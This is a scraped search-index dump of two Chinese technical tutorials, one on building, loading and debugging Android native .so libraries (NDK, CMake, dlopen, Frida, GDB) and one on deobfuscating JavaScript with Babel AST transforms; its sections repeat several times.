动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#1-安装-android-ndk"},{"categories":null,"collections":null,"content":"2. 验证安装 # 检查 NDK 版本 $NDK_HOME/ndk-build --version # 检查可用的工具链 ls $NDK_HOME/toolchains/llvm/prebuilt/*/bin/ ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:2:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#2-验证安装"},{"categories":null,"collections":null,"content":"3. 独立工具链（可选） # 创建独立工具链（适合命令行编译） $NDK_HOME/build/tools/make_standalone_toolchain.py \\ --arch arm64 \\ --api 21 \\ --install-dir /path/to/toolchain ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:2:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#3-独立工具链可选"},{"categories":null,"collections":null,"content":"使用 NDK 编译 SO ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#使用-ndk-编译-so"},{"categories":null,"collections":null,"content":"方式一：ndk-build 1. 项目结构 project/ ├── jni/ │ ├── Android.mk │ ├── Application.mk │ └── native.c └── libs/ ├── arm64-v8a/ │ └── libnative.so └── armeabi-v7a/ └── libnative.so 2. Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) # 模块名称（生成 lib\u003c名称\u003e.so） LOCAL_MODULE := native # 源文件 LOCAL_SRC_FILES := native.c # 依赖的系统库 LOCAL_LDLIBS := -llog -lz # 编译选项 LOCAL_CFLAGS := -Wall -O2 # 构建动态库 include $(BUILD_SHARED_LIBRARY) 3. Application.mk # 目标 ABI APP_ABI := arm64-v8a armeabi-v7a # 最低 API 级别 APP_PLATFORM := android-21 # C++ STL 库 APP_STL := c++_shared # 优化级别 APP_OPTIM := release 4. native.c #include \u003cjni.h\u003e #include \u003cstring.h\u003e #include \u003candroid/log.h\u003e #define LOG_TAG \"NativeLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 导出函数 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { LOGI(\"stringFromJNI called\"); return (*env)-\u003eNewStringUTF(env, \"Hello from C!\"); } // 初始化函数（可选） __attribute__((constructor)) void lib_init() { LOGI(\"Library loaded!\"); } // 卸载函数（可选） __attribute__((destructor)) void lib_fini() { LOGI(\"Library unloaded!\"); } 5. 编译 cd project/ $NDK_HOME/ndk-build # 清理 $NDK_HOME/ndk-build clean # 指定 verbose 输出 $NDK_HOME/ndk-build V=1 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#方式一ndk-build"},{"categories":null,"collections":null,"content":"方式一：ndk-build 1. 项目结构 project/ ├── jni/ │ ├── Android.mk │ ├── Application.mk │ └── native.c └── libs/ ├── arm64-v8a/ │ └── libnative.so └── armeabi-v7a/ └── libnative.so 2. Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) # 模块名称（生成 lib\u003c名称\u003e.so） LOCAL_MODULE := native # 源文件 LOCAL_SRC_FILES := native.c # 依赖的系统库 LOCAL_LDLIBS := -llog -lz # 编译选项 LOCAL_CFLAGS := -Wall -O2 # 构建动态库 include $(BUILD_SHARED_LIBRARY) 3. Application.mk # 目标 ABI APP_ABI := arm64-v8a armeabi-v7a # 最低 API 级别 APP_PLATFORM := android-21 # C++ STL 库 APP_STL := c++_shared # 优化级别 APP_OPTIM := release 4. native.c #include #include #include #define LOG_TAG \"NativeLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 导出函数 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { LOGI(\"stringFromJNI called\"); return (*env)-\u003eNewStringUTF(env, \"Hello from C!\"); } // 初始化函数（可选） __attribute__((constructor)) void lib_init() { LOGI(\"Library loaded!\"); } // 卸载函数（可选） __attribute__((destructor)) void lib_fini() { LOGI(\"Library unloaded!\"); } 5. 编译 cd project/ $NDK_HOME/ndk-build # 清理 $NDK_HOME/ndk-build clean # 指定 verbose 输出 $NDK_HOME/ndk-build V=1 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#1-项目结构"},{"categories":null,"collections":null,"content":"方式一：ndk-build 1. 项目结构 project/ ├── jni/ │ ├── Android.mk │ ├── Application.mk │ └── native.c └── libs/ ├── arm64-v8a/ │ └── libnative.so └── armeabi-v7a/ └── libnative.so 2. Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) # 模块名称（生成 lib\u003c名称\u003e.so） LOCAL_MODULE := native # 源文件 LOCAL_SRC_FILES := native.c # 依赖的系统库 LOCAL_LDLIBS := -llog -lz # 编译选项 LOCAL_CFLAGS := -Wall -O2 # 构建动态库 include $(BUILD_SHARED_LIBRARY) 3. Application.mk # 目标 ABI APP_ABI := arm64-v8a armeabi-v7a # 最低 API 级别 APP_PLATFORM := android-21 # C++ STL 库 APP_STL := c++_shared # 优化级别 APP_OPTIM := release 4. native.c #include #include #include #define LOG_TAG \"NativeLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 导出函数 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { LOGI(\"stringFromJNI called\"); return (*env)-\u003eNewStringUTF(env, \"Hello from C!\"); } // 初始化函数（可选） __attribute__((constructor)) void lib_init() { LOGI(\"Library loaded!\"); } // 卸载函数（可选） __attribute__((destructor)) void lib_fini() { LOGI(\"Library unloaded!\"); } 5. 编译 cd project/ $NDK_HOME/ndk-build # 清理 $NDK_HOME/ndk-build clean # 指定 verbose 输出 $NDK_HOME/ndk-build V=1 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#2-androidmk"},{"categories":null,"collections":null,"content":"方式一：ndk-build 1. 项目结构 project/ ├── jni/ │ ├── Android.mk │ ├── Application.mk │ └── native.c └── libs/ ├── arm64-v8a/ │ └── libnative.so └── armeabi-v7a/ └── libnative.so 2. Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) # 模块名称（生成 lib\u003c名称\u003e.so） LOCAL_MODULE := native # 源文件 LOCAL_SRC_FILES := native.c # 依赖的系统库 LOCAL_LDLIBS := -llog -lz # 编译选项 LOCAL_CFLAGS := -Wall -O2 # 构建动态库 include $(BUILD_SHARED_LIBRARY) 3. Application.mk # 目标 ABI APP_ABI := arm64-v8a armeabi-v7a # 最低 API 级别 APP_PLATFORM := android-21 # C++ STL 库 APP_STL := c++_shared # 优化级别 APP_OPTIM := release 4. native.c #include #include #include #define LOG_TAG \"NativeLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 导出函数 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { LOGI(\"stringFromJNI called\"); return (*env)-\u003eNewStringUTF(env, \"Hello from C!\"); } // 初始化函数（可选） __attribute__((constructor)) void lib_init() { LOGI(\"Library loaded!\"); } // 卸载函数（可选） __attribute__((destructor)) void lib_fini() { LOGI(\"Library unloaded!\"); } 5. 编译 cd project/ $NDK_HOME/ndk-build # 清理 $NDK_HOME/ndk-build clean # 指定 verbose 输出 $NDK_HOME/ndk-build V=1 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#3-applicationmk"},{"categories":null,"collections":null,"content":"方式一：ndk-build 1. 项目结构 project/ ├── jni/ │ ├── Android.mk │ ├── Application.mk │ └── native.c └── libs/ ├── arm64-v8a/ │ └── libnative.so └── armeabi-v7a/ └── libnative.so 2. Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) # 模块名称（生成 lib\u003c名称\u003e.so） LOCAL_MODULE := native # 源文件 LOCAL_SRC_FILES := native.c # 依赖的系统库 LOCAL_LDLIBS := -llog -lz # 编译选项 LOCAL_CFLAGS := -Wall -O2 # 构建动态库 include $(BUILD_SHARED_LIBRARY) 3. Application.mk # 目标 ABI APP_ABI := arm64-v8a armeabi-v7a # 最低 API 级别 APP_PLATFORM := android-21 # C++ STL 库 APP_STL := c++_shared # 优化级别 APP_OPTIM := release 4. native.c #include #include #include #define LOG_TAG \"NativeLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 导出函数 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { LOGI(\"stringFromJNI called\"); return (*env)-\u003eNewStringUTF(env, \"Hello from C!\"); } // 初始化函数（可选） __attribute__((constructor)) void lib_init() { LOGI(\"Library loaded!\"); } // 卸载函数（可选） __attribute__((destructor)) void lib_fini() { LOGI(\"Library unloaded!\"); } 5. 编译 cd project/ $NDK_HOME/ndk-build # 清理 $NDK_HOME/ndk-build clean # 指定 verbose 输出 $NDK_HOME/ndk-build V=1 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#4-nativec"},{"categories":null,"collections":null,"content":"方式一：ndk-build 1. 项目结构 project/ ├── jni/ │ ├── Android.mk │ ├── Application.mk │ └── native.c └── libs/ ├── arm64-v8a/ │ └── libnative.so └── armeabi-v7a/ └── libnative.so 2. Android.mk LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) # 模块名称（生成 lib\u003c名称\u003e.so） LOCAL_MODULE := native # 源文件 LOCAL_SRC_FILES := native.c # 依赖的系统库 LOCAL_LDLIBS := -llog -lz # 编译选项 LOCAL_CFLAGS := -Wall -O2 # 构建动态库 include $(BUILD_SHARED_LIBRARY) 3. Application.mk # 目标 ABI APP_ABI := arm64-v8a armeabi-v7a # 最低 API 级别 APP_PLATFORM := android-21 # C++ STL 库 APP_STL := c++_shared # 优化级别 APP_OPTIM := release 4. native.c #include #include #include #define LOG_TAG \"NativeLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 导出函数 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { LOGI(\"stringFromJNI called\"); return (*env)-\u003eNewStringUTF(env, \"Hello from C!\"); } // 初始化函数（可选） __attribute__((constructor)) void lib_init() { LOGI(\"Library loaded!\"); } // 卸载函数（可选） __attribute__((destructor)) void lib_fini() { LOGI(\"Library unloaded!\"); } 5. 编译 cd project/ $NDK_HOME/ndk-build # 清理 $NDK_HOME/ndk-build clean # 指定 verbose 输出 $NDK_HOME/ndk-build V=1 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#5-编译"},{"categories":null,"collections":null,"content":"方式二：命令行直接编译 # 设置编译器 export CC=$NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang # 编译为目标文件 $CC -c -fPIC -o native.o native.c # 链接为 SO $CC -shared -o libnative.so native.o -llog # 查看导出符号 $NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-nm -D libnative.so ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:3:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#方式二命令行直接编译"},{"categories":null,"collections":null,"content":"使用 CMake 构建 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:4:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#使用-cmake-构建"},{"categories":null,"collections":null,"content":"1. CMakeLists.txt cmake_minimum_required(VERSION 3.10.2) project(\"nativelib\") # 设置 C++ 标准 set(CMAKE_CXX_STANDARD 17) # 添加编译选项 add_compile_options(-Wall -O2) # 定义库 add_library( native-lib SHARED src/native.cpp src/crypto.cpp src/utils.cpp ) # 查找系统库 find_library(log-lib log) find_library(z-lib z) # 包含头文件目录 target_include_directories(native-lib PRIVATE ${CMAKE_SOURCE_DIR}/include ) # 链接库 target_link_libraries(native-lib ${log-lib} ${z-lib} ) # 添加预处理器定义 target_compile_definitions(native-lib PRIVATE DEBUG_MODE=1 ) ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:4:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#1-cmakeliststxt"},{"categories":null,"collections":null,"content":"2. 使用 CMake 编译 # 创建构建目录 mkdir build \u0026\u0026 cd build # 配置（指定 NDK 工具链） cmake \\ -DCMAKE_TOOLCHAIN_FILE=$NDK_HOME/build/cmake/android.toolchain.cmake \\ -DANDROID_ABI=arm64-v8a \\ -DANDROID_PLATFORM=android-21 \\ .. # 编译 cmake --build . # 或者使用 make make -j4 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:4:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#2-使用-cmake-编译"},{"categories":null,"collections":null,"content":"3. Gradle 集成 android { defaultConfig { externalNativeBuild { cmake { cppFlags \"-std=c++17 -frtti -fexceptions\" arguments \"-DANDROID_STL=c++_shared\" } } ndk { abiFilters 'arm64-v8a', 'armeabi-v7a' } } externalNativeBuild { cmake { path \"src/main/cpp/CMakeLists.txt\" version \"3.10.2\" } } } ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:4:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#3-gradle-集成"},{"categories":null,"collections":null,"content":"SO 加载流程分析 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:5:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#so-加载流程分析"},{"categories":null,"collections":null,"content":"Android SO 加载流程 Java: System.loadLibrary(\"native\") │ ▼ Runtime.loadLibrary0() │ ▼ ClassLoader.findLibrary() ──→ 查找 libnative.so 路径 │ ▼ Runtime.nativeLoad() │ ▼ dlopen(\"libnative.so\") ──→ 系统加载器 │ ├──→ 解析 ELF 头 ├──→ 映射 PT_LOAD 段到内存 ├──→ 处理依赖库（递归加载） ├──→ 执行重定位 └──→ 调用 .init_array / constructor │ ▼ JNI_OnLoad() ──→ 如果存在，执行初始化 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:5:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#android-so-加载流程"},{"categories":null,"collections":null,"content":"关键函数 函数 说明 System.loadLibrary() Java 层加载库 dlopen() Native 层打开动态库 dlsym() 查找符号地址 dlclose() 关闭动态库 JNI_OnLoad() JNI 初始化回调 JNI_OnUnload() JNI 卸载回调 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:5:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#关键函数"},{"categories":null,"collections":null,"content":"库搜索路径 // 应用私有库目录 /data/app/\u003cpackage\u003e/lib/\u003cabi\u003e/ // 系统库目录 /system/lib64/ (64位) /system/lib/ (32位) /vendor/lib64/ /vendor/lib/ ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:5:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#库搜索路径"},{"categories":null,"collections":null,"content":"手动加载 SO ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:6:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#手动加载-so"},{"categories":null,"collections":null,"content":"Java 层加载 public class NativeLoader { // 方式一：从默认路径加载 static { System.loadLibrary(\"native\"); // 加载 libnative.so } // 方式二：从绝对路径加载 public static void loadFromPath(String path) { System.load(path); // 如: /data/local/tmp/libnative.so } // 方式三：自定义 ClassLoader public static void loadWithClassLoader(String libName) { try { // 获取应用的 ClassLoader ClassLoader loader = NativeLoader.class.getClassLoader(); // 使用反射调用 findLibrary Method findLibrary = ClassLoader.class.getDeclaredMethod( \"findLibrary\", String.class); findLibrary.setAccessible(true); String libPath = (String) findLibrary.invoke(loader, libName); if (libPath != null) { System.load(libPath); } } catch (Exception e) { e.printStackTrace(); } } } ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:6:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#java-层加载"},{"categories":null,"collections":null,"content":"Native 层加载 #include \u003cdlfcn.h\u003e #include \u003candroid/log.h\u003e #define LOG_TAG \"DynamicLoader\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 动态加载 SO 并调用函数 void load_and_call(const char* lib_path, const char* func_name) { // 打开动态库 void* handle = dlopen(lib_path, RTLD_NOW); if (!handle) { LOGI(\"dlopen failed: %s\", dlerror()); return; } // 查找函数符号 typedef int (*func_ptr)(int, int); func_ptr func = (func_ptr)dlsym(handle, func_name); if (!func) { LOGI(\"dlsym failed: %s\", dlerror()); dlclose(handle); return; } // 调用函数 int result = func(10, 20); LOGI(\"Function result: %d\", result); // 关闭库 dlclose(handle); } // 示例：加载加密库 void load_crypto_lib() { void* handle = dlopen(\"libcrypto.so\", RTLD_LAZY); if (handle) { // 获取加密函数 void* encrypt_func = dlsym(handle, \"AES_encrypt\"); if (encrypt_func) { LOGI(\"Found AES_encrypt at %p\", encrypt_func); } } } ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:6:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#native-层加载"},{"categories":null,"collections":null,"content":"调试与分析技巧 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:7:0","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#调试与分析技巧"},{"categories":null,"collections":null,"content":"1. 查看 SO 信息 # 查看 ELF 头信息 readelf -h libnative.so # 查看程序头（加载段） readelf -l libnative.so # 查看节头 readelf -S libnative.so # 查看动态符号表 readelf -s libnative.so # 查看依赖库 readelf -d libnative.so | grep NEEDED # 查看导出函数 nm -D libnative.so | grep \" T \" ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:7:1","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#1-查看-so-信息"},{"categories":null,"collections":null,"content":"2. Frida 动态分析 // 监控 dlopen Interceptor.attach(Module.findExportByName(null, \"dlopen\"), { onEnter: function (args) { this.path = args[0].readCString(); console.log(\"[dlopen]\", this.path); }, onLeave: function (retval) { console.log(\"[dlopen] handle:\", retval); }, }); // 监控 dlsym Interceptor.attach(Module.findExportByName(null, \"dlsym\"), { onEnter: function (args) { this.symbol = args[1].readCString(); console.log(\"[dlsym]\", this.symbol); }, onLeave: function (retval) { console.log(\"[dlsym] address:\", retval); }, }); // 枚举已加载的模块 Process.enumerateModules().forEach(function (module) { if (module.name.indexOf(\"native\") !== -1) { console.log(module.name, module.base, module.size); } }); // 枚举模块导出函数 Module.enumerateExports(\"libnative.so\").forEach(function (exp) { console.log(exp.type, exp.name, exp.address); }); ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:7:2","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#2-frida-动态分析"},{"categories":null,"collections":null,"content":"3. GDB 调试 # 连接到进程 adb forward tcp:1234 tcp:1234 gdbserver :1234 --attach \u003cpid\u003e # 本地 GDB 连接 $NDK_HOME/prebuilt/linux-x86_64/bin/gdb (gdb) target remote :1234 (gdb) set solib-search-path /path/to/symbols # 在函数上设置断点 (gdb) break Java_com_example_app_MainActivity_stringFromJNI (gdb) continue # 查看内存 (gdb) x/20x $pc ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:7:3","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#3-gdb-调试"},{"categories":null,"collections":null,"content":"4. 常见问题排查 问题 原因 解决方法 UnsatisfiedLinkError 找不到库或符号 检查库路径和函数签名 dlopen failed: library not found 依赖库缺失 检查 readelf -d 输出 text relocations 代码段重定位 编译时添加 -fPIC cannot locate symbol 符号未导出 检查函数是否标记为导出 ","date":"2024-10-01","objectID":"/reverse_engineering/android/01-recipes/native/so_compilation/:7:4","tags":["Native层","签名验证","SSL Pinning","Frida","DEX","加密分析"],"title":"SO 动态库编译与加载","uri":"/reverse_engineering/android/01-recipes/native/so_compilation/#4-常见问题排查"},{"categories":null,"collections":null,"content":"AST (抽象语法树) 工具 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:0:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#ast-抽象语法树-工具"},{"categories":null,"collections":null,"content":"概述 在对抗混淆（Obfuscation）时，字符串替换和正则匹配往往力不从心。AST 为我们提供了操作代码结构的上帝视角。通过解析 AST，我们可以安全地删除死代码、还原控制流平坦化、计算常量表达式。 Babel 是目前 JS 逆向中最常用的 AST 库。它提供了完整的 JavaScript 解析、转换、生成能力。 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:1:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#概述"},{"categories":null,"collections":null,"content":"1. 核心工作流 使用 @babel 系列包进行 AST 操作的标准流程： 源代码 (String) ↓ @babel/parser AST (抽象语法树) ↓ @babel/traverse (遍历和修改) 修改后的 AST ↓ @babel/generator 新代码 (String) ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:2:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#1-核心工作流"},{"categories":null,"collections":null,"content":"1.1 四个核心包 包名 作用 主要 API @babel/parser 代码 → AST parse(code) @babel/traverse 遍历/修改 AST traverse(ast, visitor) @babel/generator AST → 代码 generate(ast) @babel/types 创建/判断节点 t.isIdentifier(), t.numericLiteral() ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:2:1","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#11-四个核心包"},{"categories":null,"collections":null,"content":"1.2 示例代码框架 const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); const fs = require(\"fs\"); // 1. 读取并解析 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // 2. 遍历并修改 traverse(ast, { // 你的还原插件写在这里 StringLiteral(path) { // 例如：将十六进制字符串 \"\\x61\" 还原为 \"a\" if (path.node.extra \u0026\u0026 path.node.extra.raw.startsWith('\"\\\\x')) { delete path.node.extra; } }, }); // 3. 生成新代码 const output = generator(ast, { jsescOption: { minimal: true }, // 使用最少的转义 }); fs.writeFileSync(\"deobfuscated.js\", output.code); console.log(\"反混淆完成！\"); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:2:2","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#12-示例代码框架"},{"categories":null,"collections":null,"content":"2. 常见反混淆场景 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:3:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#2-常见反混淆场景"},{"categories":null,"collections":null,"content":"2.1 常量折叠 (Constant Folding) 问题: 混淆器把 3 变成 1 + 2，或把字符串拆分为 'H' + 'e' + 'l' + 'l' + 'o' 解决方案: 计算并替换为结果 traverse(ast, { BinaryExpression(path) { // 尝试求值 const result = path.evaluate(); // 如果可以计算出确定的值 if (result.confident) { // 替换为字面量节点 path.replaceWith(t.valueToNode(result.value)); } }, }); 示例: // 混淆前 const x = 1 + 2 + 3; const str = \"H\" + \"e\" + \"l\" + \"l\" + \"o\"; // 反混淆后 const x = 6; const str = \"Hello\"; ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:3:1","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#21-常量折叠-constant-folding"},{"categories":null,"collections":null,"content":"2.2 死代码消除 (Dead Code Elimination) 问题: 充斥着永远不会执行的代码 解决方案 1: 删除恒为 false 的条件分支 traverse(ast, { IfStatement(path) { // 获取条件表达式的值 const test = path.get(\"test\").evaluate(); if (test.confident) { if (test.value) { // 条件恒为 true，替换为 consequent（if 块） path.replaceWithMultiple(path.node.consequent.body); } else { // 条件恒为 false if (path.node.alternate) { // 有 else 块，替换为 alternate path.replaceWithMultiple(path.node.alternate.body); } else { // 没有 else，直接删除整个 if 语句 path.remove(); } } } }, }); 示例: // 混淆前 if (false) { console.log(\"I am dead code\"); } if (true) { console.log(\"I will always run\"); } // 反混淆后 console.log(\"I will always run\"); 解决方案 2: 删除未引用的变量/函数 traverse(ast, { VariableDeclarator(path) { const binding = path.scope.getBinding(path.node.id.name); // 如果变量从未被引用 if (binding \u0026\u0026 !binding.referenced) { path.remove(); } }, }); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:3:2","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#22-死代码消除-dead-code-elimination"},{"categories":null,"collections":null,"content":"2.3 字符串数组还原 问题: 混淆器把所有字符串提取到一个大数组中 混淆代码: const _0x1234 = [\"name\", \"age\", \"hello\"]; function greet() { console.log(_0x1234[2]); // 'hello' } 解决方案: let stringArray = null; traverse(ast, { // 第一步：提取字符串数组 VariableDeclarator(path) { if ( path.node.id.name === \"_0x1234\" \u0026\u0026 t.isArrayExpression(path.node.init) ) { stringArray = path.node.init.elements.map((e) =\u003e e.value); console.log(\"找到字符串数组:\", stringArray); } }, }); traverse(ast, { // 第二步：替换所有引用 MemberExpression(path) { // _0x1234[2] 形式 if ( t.isIdentifier(path.node.object, { name: \"_0x1234\" }) \u0026\u0026 t.isNumericLiteral(path.node.property) ) { const index = path.node.property.value; const str = stringArray[index]; path.replaceWith(t.stringLiteral(str)); } }, }); 反混淆后: function greet() { console.log(\"hello\"); } ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:3:3","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 